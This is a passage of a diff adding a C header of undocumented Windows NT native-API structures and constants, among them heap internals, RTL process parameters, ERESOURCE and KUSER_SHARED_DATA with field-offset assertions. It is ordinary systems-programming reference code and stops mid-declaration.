+typedef GENERATE_NAME_CONTEXT *PGENERATE_NAME_CONTEXT; + +typedef struct _PREFIX_TABLE_ENTRY { + CSHORT NodeTypeCode; + CSHORT NameLength; + struct _PREFIX_TABLE_ENTRY *NextPrefixTree; + RTL_SPLAY_LINKS Links; + PSTRING Prefix; +} PREFIX_TABLE_ENTRY; +typedef PREFIX_TABLE_ENTRY *PPREFIX_TABLE_ENTRY; + +typedef struct _PREFIX_TABLE { + CSHORT NodeTypeCode; + CSHORT NameLength; + PPREFIX_TABLE_ENTRY NextPrefixTree; +} PREFIX_TABLE; +typedef PREFIX_TABLE *PPREFIX_TABLE; + +typedef struct _UNICODE_PREFIX_TABLE_ENTRY { + CSHORT NodeTypeCode; + CSHORT NameLength; + struct _UNICODE_PREFIX_TABLE_ENTRY *NextPrefixTree; + struct _UNICODE_PREFIX_TABLE_ENTRY *CaseMatch; + RTL_SPLAY_LINKS Links; + PUNICODE_STRING Prefix; +} UNICODE_PREFIX_TABLE_ENTRY; +typedef UNICODE_PREFIX_TABLE_ENTRY *PUNICODE_PREFIX_TABLE_ENTRY; + +typedef struct _UNICODE_PREFIX_TABLE { + CSHORT NodeTypeCode; + CSHORT NameLength; + PUNICODE_PREFIX_TABLE_ENTRY NextPrefixTree; + PUNICODE_PREFIX_TABLE_ENTRY LastNextEntry; +} UNICODE_PREFIX_TABLE; +typedef UNICODE_PREFIX_TABLE *PUNICODE_PREFIX_TABLE; + +#define COMPRESSION_FORMAT_NONE (0x0000) // winnt +#define COMPRESSION_FORMAT_DEFAULT (0x0001) // winnt +#define COMPRESSION_FORMAT_LZNT1 (0x0002) // winnt + +#define COMPRESSION_ENGINE_STANDARD (0x0000) // winnt +#define COMPRESSION_ENGINE_MAXIMUM (0x0100) // winnt +#define COMPRESSION_ENGINE_HIBER (0x0200) // winnt + +typedef struct _COMPRESSED_DATA_INFO { + + USHORT CompressionFormatAndEngine; + + UCHAR CompressionUnitShift; + UCHAR ChunkShift; + UCHAR ClusterShift; + UCHAR Reserved; + USHORT NumberOfChunks; + ULONG CompressedChunkSizes[ANYSIZE_ARRAY]; + +} COMPRESSED_DATA_INFO; +typedef COMPRESSED_DATA_INFO *PCOMPRESSED_DATA_INFO; + +typedef struct _SECTION_IMAGE_INFORMATION { + PVOID TransferAddress; + ULONG ZeroBits; + UCHAR Alignment[4]; + SIZE_T MaximumStackSize; + SIZE_T CommittedStackSize; + ULONG SubSystemType; + union { + struct { + USHORT SubSystemMinorVersion; + USHORT SubSystemMajorVersion; + }; + ULONG SubSystemVersion; + }; + ULONG GpValue; + USHORT ImageCharacteristics; + USHORT DllCharacteristics; + USHORT Machine; + BOOLEAN ImageContainsCode; + union + { + UCHAR ImageFlags; + struct + { + BOOLEAN ComPlusNativeReady : 1; + BOOLEAN ComPlusILOnly : 1; + BOOLEAN ImageDynamicallyRelocated : 1; + BOOLEAN ImageMappedFlat : 1; + BOOLEAN Reserved : 4; + }; + }; + + ULONG LoaderFlags; + ULONG ImageFileSize; + ULONG CheckSum; +} SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION; + +typedef struct _SECTION_IMAGE_INFORMATION64 { + ULONGLONG TransferAddress; + ULONG ZeroBits; + ULONGLONG MaximumStackSize; + ULONGLONG CommittedStackSize; + ULONG SubSystemType; + union { + struct { + USHORT SubSystemMinorVersion; + USHORT SubSystemMajorVersion; + }; + ULONG SubSystemVersion; + }; + ULONG GpValue; + USHORT ImageCharacteristics; + USHORT DllCharacteristics; + USHORT Machine; + BOOLEAN ImageContainsCode; + BOOLEAN Spare1; + ULONG LoaderFlags; + ULONG ImageFileSize; + ULONG Reserved[ 1 ]; +} SECTION_IMAGE_INFORMATION64, *PSECTION_IMAGE_INFORMATION64; + +typedef struct _RTL_BITMAP { + ULONG SizeOfBitMap; + UCHAR Padding[4]; + PULONG Buffer; +} RTL_BITMAP; +typedef RTL_BITMAP *PRTL_BITMAP; + +#define RTL_USER_PROC_CURDIR_CLOSE 0x00000002 +#define RTL_USER_PROC_CURDIR_INHERIT 0x00000003 + +#define RTL_RANGE_SHARED 0x01 +#define RTL_RANGE_CONFLICT 0x02 + +typedef struct _RTL_RANGE_LIST { + LIST_ENTRY ListHead; + ULONG Flags; // use RANGE_LIST_FLAG_* + ULONG Count; + ULONG Stamp; +} RTL_RANGE_LIST, *PRTL_RANGE_LIST; + +typedef enum { + RtlBsdItemVersionNumber = 0x00, + RtlBsdItemProductType, + RtlBsdItemAabEnabled, + RtlBsdItemAabTimeout, + RtlBsdItemBootGood, + RtlBsdItemBootShutdown, + RtlBsdItemMax +} RTL_BSD_ITEM_TYPE, *PRTL_BSD_ITEM_TYPE; + +typedef struct _RANGE_LIST_ITERATOR { + PLIST_ENTRY RangeListHead; + PLIST_ENTRY MergedHead; + PVOID Current; + ULONG Stamp; +} RTL_RANGE_LIST_ITERATOR, *PRTL_RANGE_LIST_ITERATOR; + +typedef struct _STARTUP_ARGUMENT +{ + //ULONG Unknown[ 3 ]; + UNICODE_STRING Unknown[ 3 ]; + PRTL_USER_PROCESS_PARAMETERS Environment; +} STARTUP_ARGUMENT, *PSTARTUP_ARGUMENT; + +#define RTL_USER_PROC_PARAMS_NORMALIZED 0x00000001 +#define RTL_USER_PROC_PROFILE_USER 0x00000002 +#define RTL_USER_PROC_PROFILE_KERNEL 0x00000004 +#define RTL_USER_PROC_PROFILE_SERVER 0x00000008 +#define RTL_USER_PROC_RESERVE_1MB 0x00000020 +#define RTL_USER_PROC_RESERVE_16MB 0x00000040 +#define RTL_USER_PROC_CASE_SENSITIVE 0x00000080 +#define RTL_USER_PROC_DISABLE_HEAP_DECOMMIT 0x00000100 +#define RTL_USER_PROC_DLL_REDIRECTION_LOCAL 0x00001000 +#define RTL_USER_PROC_APP_MANIFEST_PRESENT 0x00002000 +#define RTL_USER_PROC_IMAGE_KEY_MISSING 0x00004000 +#define RTL_USER_PROC_OPTIN_PROCESS 0x00020000 + +typedef NTSTATUS (*PUSER_PROCESS_START_ROUTINE)( + PRTL_USER_PROCESS_PARAMETERS ProcessParameters + ); + +typedef NTSTATUS (*PUSER_THREAD_START_ROUTINE)( + PVOID ThreadParameter + ); + +typedef struct _RTL_USER_PROCESS_INFORMATION { + ULONG Length; + HANDLE Process; + HANDLE Thread; + CLIENT_ID ClientId; + SECTION_IMAGE_INFORMATION ImageInformation; +} RTL_USER_PROCESS_INFORMATION, *PRTL_USER_PROCESS_INFORMATION; + +typedef struct _RTL_USER_PROCESS_INFORMATION64 { + ULONG Length; + LONGLONG Process; + LONGLONG Thread; + CLIENT_ID64 ClientId; + SECTION_IMAGE_INFORMATION64 ImageInformation; +} RTL_USER_PROCESS_INFORMATION64, *PRTL_USER_PROCESS_INFORMATION64; + +#define RTL_TRACE_IN_USER_MODE 0x00000001 +#define RTL_TRACE_IN_KERNEL_MODE 0x00000002 +#define RTL_TRACE_USE_NONPAGED_POOL 0x00000004 +#define RTL_TRACE_USE_PAGED_POOL 0x00000008 + +typedef struct _RTL_RESOURCE { + + RTL_CRITICAL_SECTION CriticalSection; + + HANDLE SharedSemaphore; + ULONG NumberOfWaitingShared; + HANDLE ExclusiveSemaphore; + ULONG NumberOfWaitingExclusive; + + LONG NumberOfActive; + HANDLE ExclusiveOwnerThread; + + ULONG Flags; // See RTL_RESOURCE_FLAG_ equates below. + + PRTL_RESOURCE_DEBUG DebugInfo; +} RTL_RESOURCE, *PRTL_RESOURCE; + +#define RTL_RESOURCE_FLAG_LONG_TERM ((ULONG) 0x00000001) + +typedef struct _RTL_TRACE_BLOCK { + ULONG Magic; + ULONG Count; + ULONG Size; + + SIZE_T UserCount; + SIZE_T UserSize; + PVOID UserContext; + + struct _RTL_TRACE_BLOCK * Next; + PVOID * Trace; +} RTL_TRACE_BLOCK, * PRTL_TRACE_BLOCK; + +typedef ULONG (* RTL_TRACE_HASH_FUNCTION) (ULONG Count, PVOID * Trace); +typedef struct _RTL_TRACE_DATABASE * PRTL_TRACE_DATABASE; + +typedef struct _RTL_TRACE_ENUMERATE { + PRTL_TRACE_DATABASE Database; + ULONG Index; + PRTL_TRACE_BLOCK Block; +} RTL_TRACE_ENUMERATE, * PRTL_TRACE_ENUMERATE; + +typedef struct _KLDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InLoadOrderLinks; + PVOID ExceptionTable; + ULONG ExceptionTableSize; + PVOID GpValue; + struct _NON_PAGED_DEBUG_INFO* NonPagedDebugInfo; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + USHORT LoadCount; + USHORT __Unused5; + PVOID SectionPointer; + ULONG CheckSum; + ULONG CoverageSectionSize; + PVOID CoverageSection; + PVOID LoadedImports; + PVOID PatchInformation; +} KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY; // + +#define RTL_HEAP_BUSY (USHORT)0x0001 +#define RTL_HEAP_SEGMENT (USHORT)0x0002 +#define RTL_HEAP_SETTABLE_VALUE (USHORT)0x0010 +#define RTL_HEAP_SETTABLE_FLAG1 (USHORT)0x0020 +#define RTL_HEAP_SETTABLE_FLAG2 (USHORT)0x0040 +#define RTL_HEAP_SETTABLE_FLAG3 (USHORT)0x0080 +#define RTL_HEAP_SETTABLE_FLAGS (USHORT)0x00E0 +#define RTL_HEAP_UNCOMMITTED_RANGE (USHORT)0x0100 +#define RTL_HEAP_PROTECTED_ENTRY (USHORT)0x0200 + +#pragma warning(disable: 4273) // nconsistent dll linkage (winnt.h) + +typedef struct _DISPATCHER_HEADER +{ + union + { + struct + { + UCHAR Type; + union + { + UCHAR Absolute; + UCHAR NpxIrql; + }; + + union + { + UCHAR Size; + UCHAR Hand; + }; + + union + { + UCHAR Inserted; + BOOLEAN DebugActive; + }; + + }; // struct .. + volatile LONG Lock; + }; // first union .. + + LONG SignalState; + LIST_ENTRY WaitListHead; +} DISPATCHER_HEADER, *PDISPATCHER_HEADER; + +typedef struct _KEVENT +{ + DISPATCHER_HEADER Header; +} KEVENT, *PKEVENT, *PRKEVENT; + +typedef struct _KGATE +{ + DISPATCHER_HEADER Header; +} KGATE, *PKGATE; + +typedef struct _KSEMAPHORE +{ + DISPATCHER_HEADER Header; + LONG Limit; +} KSEMAPHORE, *PKSEMAPHORE; // + +typedef struct _OWNER_ENTRY +{ + ULONG OwnerThread; + LONG OwnerCount; + ULONG TableSize; +} OWNER_ENTRY, *POWNER_ENTRY; // + +typedef struct _ERESOURCE +{ + LIST_ENTRY SystemResourcesList; + OWNER_ENTRY* OwnerTable; + SHORT ActiveCount; + USHORT Flag; + KSEMAPHORE* SharedWaiters; + KEVENT* ExclusiveWaiters; + OWNER_ENTRY OwnerEntry; + ULONG ActiveEntries; + ULONG ContentionCount; + ULONG NumberOfSharedWaiters; + ULONG NumberOfExclusiveWaiters; + PVOID Address; + ULONG CreatorBackTraceIndex; + ULONG SpinLock; +} ERESOURCE, *PERESOURCE; // + +#define SET_LAST_STATUS(S)NtCurrentTeb()->LastErrorValue = RtlNtStatusToDosError(NtCurrentTeb()->LastStatusValue = (ULONG)(S)) + +#define HEAP_GRANULARITY (sizeof( HEAP_ENTRY )) +#define HEAP_GRANULARITY_SHIFT 3 + +#define HEAP_MAXIMUM_BLOCK_SIZE (USHORT)(((0x10000 << HEAP_GRANULARITY_SHIFT) - PAGE_SIZE) >> HEAP_GRANULARITY_SHIFT) + +#define HEAP_MAXIMUM_FREELISTS 128 +#define HEAP_MAXIMUM_SEGMENTS 16 + +#define HEAP_ENTRY_BUSY 0x01 +#define HEAP_ENTRY_EXTRA_PRESENT 0x02 +#define HEAP_ENTRY_FILL_PATTERN 0x04 +#define HEAP_ENTRY_VIRTUAL_ALLOC 0x08 +#define HEAP_ENTRY_LAST_ENTRY 0x10 +#define HEAP_ENTRY_SETTABLE_FLAG1 0x20 +#define HEAP_ENTRY_SETTABLE_FLAG2 0x40 +#define HEAP_ENTRY_SETTABLE_FLAG3 0x80 +#define HEAP_ENTRY_SETTABLE_FLAGS 0xE0 + +typedef struct _HEAP_LOCK +{ + union + { + RTL_CRITICAL_SECTION CriticalSection; + ERESOURCE Resource; + } Lock; +} HEAP_LOCK, *PHEAP_LOCK; + +typedef struct _HEAP_TUNING_PARAMETERS +{ + ULONG CommittThresholdShift; + ULONG MaxPreCommittThreshold; +} HEAP_TUNING_PARAMETERS, *PHEAP_TUNING_PARAMETERS; // + +typedef struct _HEAP_PSEUDO_TAG_ENTRY +{ + ULONG Allocs; + ULONG Frees; + ULONG Size; +} HEAP_PSEUDO_TAG_ENTRY, *PHEAP_PSEUDO_TAG_ENTRY; // + +typedef struct _HEAP_TAG_ENTRY +{ + ULONG Allocs; + ULONG Frees; + ULONG Size; + USHORT TagIndex; + USHORT CreatorBackTraceIndex; + WCHAR TagName[ 24 ]; +} HEAP_TAG_ENTRY, *PHEAP_TAG_ENTRY; // + +typedef struct _HEAP_ENTRY +{ + USHORT Size; + UCHAR Flags; + UCHAR SmallTagIndex; + PVOID SubSegmentCode; + USHORT PreviousSize; + UCHAR SegmentOffset; + UCHAR LFHFlags; + UCHAR UnusedBytes; + USHORT FunctionIndex; + USHORT ContextValue; + ULONG InterceptorValue; + USHORT UnusedBytesLength; + UCHAR EntryOffset; + UCHAR ExtendedBlockSignature; + ULONG Code1; + USHORT Code2; + UCHAR Code3; + UCHAR Code4; + ULONG64 AgregateCode; +} HEAP_ENTRY, *PHEAP_ENTRY; + +typedef struct _HEAP_COUNTERS +{ + ULONG TotalMemoryReserved; + ULONG TotalMemoryCommitted; + ULONG TotalMemoryLargeUCR; + ULONG TotalSizeInVirtualBlocks; + ULONG TotalSegments; + ULONG TotalUCRs; + ULONG CommittOps; + ULONG DeCommitOps; + ULONG LockAcquires; + ULONG LockCollisions; + ULONG CommitRate; + ULONG DecommittRate; + ULONG CommitFailures; + ULONG InBlockCommitFailures; + ULONG CompactHeapCalls; + ULONG CompactedUCRs; + ULONG InBlockDeccommits; + ULONG InBlockDeccomitSize; +} HEAP_COUNTERS, *PHEAP_COUNTERS; // + +typedef struct _HEAP +{ + HEAP_ENTRY Entry; + ULONG SegmentSignature; + ULONG SegmentFlags; + LIST_ENTRY SegmentListEntry; + struct _HEAP* Heap; + PVOID BaseAddress; + ULONG NumberOfPages; + PHEAP_ENTRY FirstEntry; + PHEAP_ENTRY LastValidEntry; + ULONG NumberOfUnCommittedPages; + ULONG NumberOfUnCommittedRanges; + USHORT SegmentAllocatorBackTraceIndex; + USHORT Reserved; + LIST_ENTRY UCRSegmentList; + ULONG Flags; + ULONG ForceFlags; + ULONG CompatibilityFlags; + ULONG EncodeFlagMask; + HEAP_ENTRY Encoding; + ULONG PointerKey; + ULONG Interceptor; + ULONG VirtualMemoryThreshold; + ULONG Signature; + ULONG SegmentReserve; + ULONG SegmentCommit; + ULONG DeCommitFreeBlockThreshold; + ULONG DeCommitTotalFreeThreshold; + ULONG TotalFreeSize; + ULONG MaximumAllocationSize; + USHORT ProcessHeapsListIndex; + USHORT HeaderValidateLength; + PVOID HeaderValidateCopy; + USHORT NextAvailableTagIndex; + USHORT MaximumTagIndex; + PHEAP_TAG_ENTRY TagEntries; + LIST_ENTRY UCRList; + ULONG AlignRound; + ULONG AlignMask; + LIST_ENTRY VirtualAllocdBlocks; + LIST_ENTRY SegmentList; + USHORT AllocatorBackTraceIndex; + ULONG NonDedicatedListLength; + PVOID BlocksIndex; + PVOID UCRIndex; + PHEAP_PSEUDO_TAG_ENTRY PseudoTagEntries; + LIST_ENTRY FreeLists; + PHEAP_LOCK LockVariable; + LONG * CommitRoutine; // <<-- http://www.nirsoft.net/kernel_struct/vista/HEAP.html + PVOID FrontEndHeap; + USHORT FrontHeapLockCount; + UCHAR FrontEndHeapType; + HEAP_COUNTERS Counters; + HEAP_TUNING_PARAMETERS TuningParameters; +} HEAP, *PHEAP; // + +typedef struct _HEAP_FREE_ENTRY_EXTRA +{ + USHORT TagIndex; + USHORT FreeBackTraceIndex; +} HEAP_FREE_ENTRY_EXTRA, *PHEAP_FREE_ENTRY_EXTRA; // + +typedef struct _HEAP_ENTRY_EXTRA +{ + USHORT AllocatorBackTraceIndex; + USHORT TagIndex; + ULONG Settable; + ULONG64 ZeroInit; +} HEAP_ENTRY_EXTRA, *PHEAP_ENTRY_EXTRA; // + +typedef struct _HEAP_VIRTUAL_ALLOC_ENTRY +{ + LIST_ENTRY Entry; + HEAP_ENTRY_EXTRA ExtraStuff; + ULONG CommitSize; + ULONG ReserveSize; + HEAP_ENTRY BusyBlock; +} HEAP_VIRTUAL_ALLOC_ENTRY, *PHEAP_VIRTUAL_ALLOC_ENTRY; // + +// +// Known extended CPU state feature IDs +// + +// #define XSTATE_LEGACY_FLOATING_POINT 0 +// #define XSTATE_LEGACY_SSE 1 +// #define XSTATE_GSSE 2 +// +// #define XSTATE_MASK_LEGACY_FLOATING_POINT (1i64 << (XSTATE_LEGACY_FLOATING_POINT)) +// #define XSTATE_MASK_LEGACY_SSE (1i64 << (XSTATE_LEGACY_SSE)) +// #define XSTATE_MASK_LEGACY (XSTATE_MASK_LEGACY_FLOATING_POINT | XSTATE_MASK_LEGACY_SSE) +// #define XSTATE_MASK_GSSE (1i64 << (XSTATE_GSSE)) +// +// #define MAXIMUM_XSTATE_FEATURES 64 + + +typedef enum _HARDERROR_RESPONSE_OPTION +{ + OptionAbortRetryIgnore, + OptionOk, + OptionOkCancel, + OptionRetryCancel, + OptionYesNo, + OptionYesNoCancel, + OptionShutdownSystem, + OptionOkNoWait, + OptionCancelTryContinue +} HARDERROR_RESPONSE_OPTION; + +typedef enum _HARDERROR_RESPONSE +{ + ResponseReturnToCaller, + ResponseNotHandled, + ResponseAbort, + ResponseCancel, + ResponseIgnore, + ResponseNo, + ResponseOk, + ResponseRetry, + ResponseYes, + ResponseTryAgain, + ResponseContinue +} HARDERROR_RESPONSE; + +typedef enum _ALTERNATIVE_ARCHITECTURE_TYPE +{ + StandardDesign, // None == 0 == standard design + NEC98x86, // NEC PC98xx series on X86 + EndAlternatives // past end of known alternatives +} ALTERNATIVE_ARCHITECTURE_TYPE; + +#define NX_SUPPORT_POLICY_ALWAYSOFF 0 +#define NX_SUPPORT_POLICY_ALWAYSON 1 +#define NX_SUPPORT_POLICY_OPTIN 2 +#define NX_SUPPORT_POLICY_OPTOUT 3 + +#define PROCESSOR_FEATURE_MAX 64 +#define MAX_WOW64_SHARED_ENTRIES 16 + +#if defined(_MSC_VER) && (_MSC_VER < 1300) + +#define XSTATE_LEGACY_FLOATING_POINT 0 +#define XSTATE_LEGACY_SSE 1 +#define XSTATE_GSSE 2 + +#define XSTATE_MASK_LEGACY_FLOATING_POINT (1i64 << (XSTATE_LEGACY_FLOATING_POINT)) +#define XSTATE_MASK_LEGACY_SSE (1i64 << (XSTATE_LEGACY_SSE)) +#define XSTATE_MASK_LEGACY (XSTATE_MASK_LEGACY_FLOATING_POINT | XSTATE_MASK_LEGACY_SSE) +#define XSTATE_MASK_GSSE (1i64 << (XSTATE_GSSE)) + +#define MAXIMUM_XSTATE_FEATURES 64 + +// +// Extended processor state configuration +// +#if defined(_WINNT_) && defined(_MSC_VER) && _MSC_VER < 1300 +typedef struct _XSTATE_FEATURE { + DWORD Offset; + DWORD Size; +} XSTATE_FEATURE, *PXSTATE_FEATURE; + +typedef struct _XSTATE_CONFIGURATION { + // Mask of enabled features + DWORD64 EnabledFeatures; + + // Total size of the save area + DWORD Size; + + DWORD OptimizedSave : 1; + + // List of features ( + XSTATE_FEATURE Features[MAXIMUM_XSTATE_FEATURES]; + +} XSTATE_CONFIGURATION, *PXSTATE_CONFIGURATION; +#endif + +#ifndef _WINDOWS_ +typedef enum _HEAP_INFORMATION_CLASS { + HeapCompatibilityInformation +} HEAP_INFORMATION_CLASS; +#endif //_WINDOWS_ + +#endif + +typedef struct _KUSER_SHARED_DATA +{ + ULONG TickCountLowDeprecated; + ULONG TickCountMultiplier; + + volatile KSYSTEM_TIME InterruptTime; + volatile KSYSTEM_TIME SystemTime; + volatile KSYSTEM_TIME TimeZoneBias; + + USHORT ImageNumberLow; + USHORT ImageNumberHigh; + + WCHAR NtSystemRoot[260]; + + ULONG MaxStackTraceDepth; + + ULONG CryptoExponent; + + ULONG TimeZoneId; + ULONG LargePageMinimum; + ULONG Reserved2[7]; + + ULONG NtProductType; + BOOLEAN ProductTypeIsValid; + + ULONG NtMajorVersion; + ULONG NtMinorVersion; + + BOOLEAN ProcessorFeatures[PROCESSOR_FEATURE_MAX]; + + ULONG Reserved1; + ULONG Reserved3; + + volatile ULONG TimeSlip; + + ALTERNATIVE_ARCHITECTURE_TYPE AlternativeArchitecture; + + LARGE_INTEGER SystemExpirationDate; + + ULONG SuiteMask; + + BOOLEAN KdDebuggerEnabled; + + UCHAR NXSupportPolicy; + + volatile ULONG ActiveConsoleId; + + volatile ULONG DismountCount; + + ULONG ComPlusPackage; + + ULONG LastSystemRITEventTickCount; + + ULONG NumberOfPhysicalPages; + + BOOLEAN SafeBootMode; + union + { + UCHAR TscQpcData; + struct + { + UCHAR TscQpcEnabled : 1; + UCHAR TscQpcSpareFlag : 1; + UCHAR TscQpcShift : 6; + }; + }; + UCHAR TscQpcPad[2]; + + union + { + ULONG TraceLogging; + ULONG SharedDataFlags; + struct + { + ULONG DbgErrorPortPresent : 1; + ULONG DbgElevationEnabled : 1; + ULONG DbgVirtEnabled : 1; + ULONG DbgInstallerDetectEnabled : 1; + ULONG DbgSystemDllRelocated : 1; + ULONG DbgDynProcessorEnabled : 1; + ULONG DbgSEHValidationEnabled : 1; + ULONG SpareBits : 25; + }; + }; + ULONG DataFlagsPad[1]; + + ULONGLONG TestRetInstruction; + ULONG SystemCall; + ULONG SystemCallReturn; + ULONGLONG SystemCallPad[3]; + + union + { + volatile KSYSTEM_TIME TickCount; + volatile ULONG64 TickCountQuad; + struct + { + ULONG ReservedTickCountOverlay[3]; + ULONG TickCountPad[1]; + }; + }; + + ULONG Cookie; + + // Entries below all invalid below Windows Vista + + ULONG CookiePad[1]; + + LONGLONG ConsoleSessionForegroundProcessId; + + ULONG Wow64SharedInformation[MAX_WOW64_SHARED_ENTRIES]; + + USHORT UserModeGlobalLogger[16]; + ULONG ImageFileExecutionOptions; + + ULONG LangGenerationCount; + + union + { + ULONGLONG AffinityPad; // only valid on Windows Vista + ULONG_PTR ActiveProcessorAffinity; // only valid on Windows Vista + ULONGLONG Reserved5; + }; + volatile ULONG64 InterruptTimeBias; + volatile ULONG64 TscQpcBias; + + volatile ULONG ActiveProcessorCount; + volatile USHORT ActiveGroupCount; + USHORT Reserved4; + + volatile ULONG AitSamplingValue; + volatile ULONG AppCompatFlag; + + ULONGLONG SystemDllNativeRelocation; + ULONG SystemDllWowRelocation; + + ULONG XStatePad[1]; + XSTATE_CONFIGURATION XState; +} KUSER_SHARED_DATA, *PKUSER_SHARED_DATA; + +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TickCountMultiplier) == 0x4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, InterruptTime) == 0x8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemTime) == 0x14); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TimeZoneBias) == 0x20); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ImageNumberLow) == 0x2c); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ImageNumberHigh) == 0x2e); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtSystemRoot) == 0x30); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, MaxStackTraceDepth) == 0x238); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, CryptoExponent) == 0x23c); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TimeZoneId) == 0x240); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, LargePageMinimum) == 0x244); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved2) == 0x248); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtProductType) == 0x264); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ProductTypeIsValid) == 0x268); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtMajorVersion) == 0x26c); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtMinorVersion) == 0x270); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ProcessorFeatures) == 0x274); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved1) == 0x2b4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved3) == 0x2b8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TimeSlip) == 0x2bc); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, AlternativeArchitecture) == 0x2c0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemExpirationDate) == 0x2c8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SuiteMask) == 0x2d0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, KdDebuggerEnabled) == 0x2d4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NXSupportPolicy) == 0x2d5); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ActiveConsoleId) == 0x2d8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, DismountCount) == 0x2dC); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ComPlusPackage) == 0x2e0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, LastSystemRITEventTickCount) == 0x2e4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NumberOfPhysicalPages) == 0x2e8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SafeBootMode) == 0x2ec); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TraceLogging) == 0x2f0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TestRetInstruction) == 0x2f8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemCall) == 0x300); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemCallReturn) == 0x304); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemCallPad) == 0x308); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TickCount) == 0x320); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TickCountQuad) == 0x320); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Cookie) == 0x330); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ConsoleSessionForegroundProcessId) == 0x338); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Wow64SharedInformation) == 0x340); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, UserModeGlobalLogger) == 0x380); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ImageFileExecutionOptions) == 0x3a0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, LangGenerationCount) == 0x3a4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, InterruptTimeBias) == 0x3b0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, UserModeGlobalLogger) == 0x380); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ImageFileExecutionOptions) == 0x3a0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, LangGenerationCount) == 0x3a4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved5) == 0x3a8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, InterruptTimeBias) == 0x3b0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TscQpcBias) == 0x3b8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ActiveProcessorCount) == 0x3c0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ActiveGroupCount) == 0x3c4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved4) == 0x3c6); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, AitSamplingValue) == 0x3c8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, AppCompatFlag) == 0x3cc); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemDllNativeRelocation) == 0x3d0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemDllWowRelocation) == 0x3d8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, XState) == 0x3e0); + +#define SHARED_USER_DATA_VA 0x7FFE0000 +#define USER_SHARED_DATA ((KUSER_SHARED_DATA * const)SHARED_USER_DATA_VA) + +__inline struct _KUSER_SHARED_DATA * GetKUserSharedData() { return (USER_SHARED_DATA); } + +__forceinline ULONG NtGetTickCount() { return (ULONG) ((USER_SHARED_DATA->TickCountQuad * USER_SHARED_DATA->TickCountMultiplier) >> 24); } + +//added 20/03/2011 +#define RTL_CLONE_PROCESS_FLAGS_CREATE_SUSPENDED 0x00000001 +#define RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES 0x00000002 +#define RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE 0x00000004 + +//added 20/03/2011 +typedef struct _RTL_PROCESS_REFLECTION_INFORMATION +{ + HANDLE Process; + HANDLE Thread; + CLIENT_ID ClientId; +} RTL_PROCESS_REFLECTION_INFORMATION, 